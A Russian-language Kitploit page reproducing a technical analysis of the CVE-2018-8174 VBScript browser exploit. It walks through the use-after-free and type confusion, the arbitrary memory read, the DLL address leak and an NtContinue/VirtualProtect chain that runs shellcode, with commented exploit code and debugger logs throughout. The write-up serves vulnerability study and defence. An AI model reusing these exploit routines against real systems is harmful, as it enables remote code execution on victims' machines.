Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analysis of VBS exploit CVE-2018-8174

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
30148 лет назадПроверено Kitploit

Разбор современного браузерного эксплойта: практический анализ CVE-2018-8174

Обзор

Когда этот эксплойт впервые появился на рубеже апреля и мая, он вызвал мой интерес, поскольку, несмотря на сильную обфускацию, структура кода казалась хорошо организованной, а код эксплуатации уязвимости — достаточно компактным, что упрощало анализ. Я скачал POC с github и решил, что это хороший кандидат для изучения внутреннего устройства. На тот момент уже были опубликованы два анализа: первый от 360 и второй от Kaspersky. Оба помогли мне понять, как это работает, но не были достаточными для глубокого понимания каждого аспекта эксплойта. Поэтому я решил проанализировать его самостоятельно и поделиться результатами.

Предварительная обработка

Сначала, чтобы убрать целочисленную обфускацию, я использовал замену регулярных выражений в скрипте Python:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# крайне безопасно :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Что касается обфусцированных имён, я переименовывал их постепенно в процессе анализа. Этот анализ лучше всего читать вместе с исходным кодом, ссылка на который приведена в конце.

Use after free

Уязвимость возникает, когда объект уничтожается и вызывается пользовательская функция Class_Terminate(). В этой функции ссылка на освобождаемый объект сохраняется в UafArray. Теперь UafArray(i) ссылается на удалённый объект.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' исправляем счётчик ссылок
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Также обратите внимание на последнюю строку в Class_Terminate(). Когда мы копируем объект ClassTerminate в UafArray, его счётчик ссылок увеличивается. Чтобы сбалансировать это, мы снова освобождаем его, присваивая другое значение FreedObjectArray. Без этого память объекта не была бы освобождена, несмотря на вызов Class_Terminate, и следующий объект не был бы размещён на его месте.

Метод VBScriptClass::Release

Создание и удаление новых объектов повторяется 7 раз в цикле, после чего создаётся новый объект класса ReuseClass. Он выделяется в той же памяти, которая ранее была занята 7 экземплярами ClassTerminate. Чтобы лучше это понять, вот простой скрипт WinDbg, отслеживающий все эти выделения:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Вот журнал выделений из функции UafTrigger:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Мы сразу видим, что ReuseClass действительно выделяется в той же памяти, которая была назначена 7 предыдущим экземплярам ClassTerminate. Это повторяется дважды. В итоге мы получаем два объекта, на которые ссылаются UafArrays. Ни одна из этих ссылок не отражена в счётчике ссылок объекта. В этом журнале также можно заметить, что даже после вызова Class_Terminate выполняются некоторые манипуляции с объектом, изменяющие его счётчик ссылок. Поэтому, если бы мы не сбалансировали этот счётчик в Class_Terminate, мы бы получили что-то вроде:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Другие адреса выделения. Эксплойт не смог бы создать условие use after free.

Type Confusion

Создав эти два объекта с 7 неучтёнными ссылками на каждый, мы установили примитив произвольного чтения памяти. Есть два похожих класса ReuseClass и FakeReuseClass. Замена первого класса вторым приводит к type confusion для члена mem.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' на самом деле вызовет Default Property Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

В функции SetProp сохраняется ReuseClass.mem и вызывается Default Property Get класса ReplacingClass_*, результат этого вызова будет помещён в ReuseClass.mem.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'шестнадцатеричное значение: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

Внутри этого геттера UafArray очищается путём присваивания 0 каждому элементу. Это вызывает VBScriptClass::Release для объекта ReuseClass, на который ссылается UafArray. Оказывается, что на этом этапе выполнения объект ReuseClass имеет счётчик ссылок, равный 7, и поскольку мы вызываем Release 7 раз, этот объект освобождается. А поскольку эти ссылки возникли из ситуации use after free, они не учитываются в счётчике ссылок. На месте ReuseClass выделяется новый объект FakeReuseClass. Теперь, чтобы его счётчик ссылок стал равным 7, как было с ReuseClass, мы присваиваем его 7 раз в UafArray. Вот расположение памяти до и после этой операции.

Замена ReuseClass на FakeReuseClass

Диаграмма объектов VBScript

После этого функция геттера возвращает значение, которое будет присвоено старой переменной ReuseClass::mem. Как видно из дампов памяти, старое значение было расположено на 0xC байт раньше нового. Объекты были специально созданы для такой ситуации, например, выбором подходящей длины для имён функций. Теперь значение, записанное в ReuseClass::mem, перезапишет заголовок FakeReuseClass::mem, вызывая ситуацию type confusion.

Type confusion для члена mem

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'структура SAFEARRAY в виде строки
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'Строка с нулями, используется как память для записи

objectImitatingArray.mem = FakeArrayString

Последняя строка присваивает строку FakeArrayString переменной objectImitatingArray.mem. Теперь заголовок имеет значение VT_BSTR.

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Это значение перезаписывает тип objectImitatingArray.mem на VT_ARRAY | VT_VARIANT, и теперь указатель на строку будет интерпретироваться как указатель на структуру SAFEARRAY.

Произвольное чтение памяти

В результате мы получаем два объекта FakeReuseClass. Один из них имеет член mem — массив, адресующий всё пользовательское пространство (0x00000000 - 0x7fffffff), а другой — член типа VT_I4 (4-байтовое целое) с указателем на пустую 16-байтную строку. Используя второй объект, мы извлекаем указатель на строку:

root@kitploit:~
some_memory=resueObjectB_int.mem

Позже он будет использоваться как адрес в памяти, доступной для записи. Следующий шаг — извлечение любого адреса внутри vbscript.dll. Здесь используется очень изящный трюк.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Сначала мы определяем, что при ошибке скрипт должен просто продолжать обычное выполнение. Затем происходит попытка присвоить EmptySub переменной. Это невозможно в VBS, но значение всё равно помещается в стек до того, как генерируется ошибка. Следующая инструкция должна присвоить null переменной, что она и делает, просто изменяя тип последнего значения из стека на VT_NULL. Теперь emptySub_addr_placeholder содержит указатель на функцию, но с типом VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' устанавливаем тип переменной в vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' читаем данные как vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' устанавливаем данные
End Sub

Затем это значение записывается в нашу доступную для записи память, его тип изменяется на VT_I4, и оно считывается обратно как целое. Если проверить содержимое этого значения, оно оказывается указателем на CScriptEntryPoint, и первым членом является vftable, указывающая внутрь vbscript.dll.

Извлечение адреса vbscript.dll

Чтобы прочитать значение из произвольного адреса, в данном случае указателя, возвращённого из LeakVBAddr, используются следующие функции:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' устанавливаем значение как BSTR ptr + 4 (BSTR объект: [len][addr+4], LenB прочитает из [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' устанавливаем тип VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' восстанавливаем исходный тип VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

Чтение достигается сначала записью addr+4 в доступную для записи память, затем тип изменяется на VT_BSTR. Теперь addr+4 рассматривается как указатель на BSTR. Если мы вызовем LenB для addr+4, он вернёт значение, на которое указывает addr. Почему? Из-за того, как определён BSTR: значению в unicode предшествует его длина, и эта длина возвращается LenB.

Реализация LenB

Теперь, когда адрес внутри vbscript.dll утёк, и имея произвольное чтение памяти, это лишь вопрос правильного обхода заголовка PE для получения всех необходимых адресов.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Подробности этого здесь объясняться не будут. Эта статья подробно описывает PE-файл.

Запуск выполнения кода

Финальное выполнение кода достигается в два этапа. Сначала строится цепочка из двух вызовов, но это не ROP-цепочка. В NtContinue передаётся структура CONTEXT, которая устанавливает EIP на адрес VirtualProtect, а ESP — на структуру, содержащую параметры VirtualProtect.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - заполнение, это пространство будет использоваться как стек
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - адрес возврата после VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1-й параметр для VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2-й параметр для VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3-й параметр для VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4-й параметр для VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- заполнение и выравнивание
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - заполнение
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - инициализация _CONTEXT с 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP в структуре _CONTEXT
	result = result & UnescapeValue(27)			' 0x1b - CsSeg в структуре _CONTEXT
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS в структуре _CONTEXT
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP в структуре _CONTEXT
	result = result & UnescapeValue(35)			' 0x23 - SsSeg в структуре _CONTEXT
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - заполнение
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

Сначала получается адрес shellcode с помощью описанной ранее техники изменения типа переменной на VT_I4 и чтения указателя. Затем строится структура для VirtualProtect, содержащая все необходимые параметры: адрес shellcode, размер и защиту RWX. В ней также есть пространство, которое будет использоваться операциями стека внутри VirtualProtect. После этого строится структура CONTEXT с EIP, установленным на VirtualProtect, и ESP, указывающим на его параметры. Эта структура также имеет первое значение — указатель на адрес NtContinue, повторённый 4 раза. Последний шаг перед запуском этой цепочки — сохранение структуры в памяти в виде строки.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Затем эта функция используется для запуска цепочки. Сначала она изменяет тип сохранённой структуры на 0x4D, а затем устанавливает её значение в 0, что вызывает вызов VAR::Clear.

Выполнение кода

А динамическое представление из отладчика:

Выполнение кода

Хотя это может показаться сложным, эта цепочка выполнения очень проста. Всего два шага: вызвать NtContinue со структурой CONTEXT, указывающей на VirtualProtect. Затем VirtualProtect отключит DEP на странице памяти, содержащей shellcode, и после этого вернётся в shellcode.

Заключение

CVE-2018-8174 — хороший пример объединения нескольких условий use after free и type confusion для достижения выполнения кода очень остроумным способом. Это отличный пример для изучения и понимания внутренней работы подобных эксплойтов.

Полезные ссылки

Прокомментированный код эксплойта

Анализ первопричины от Kaspersky

Анализ от 360

Ещё один анализ от Kaspersky

Анализ CVE-2014-6332 от Trend Micro

Скачать инструмент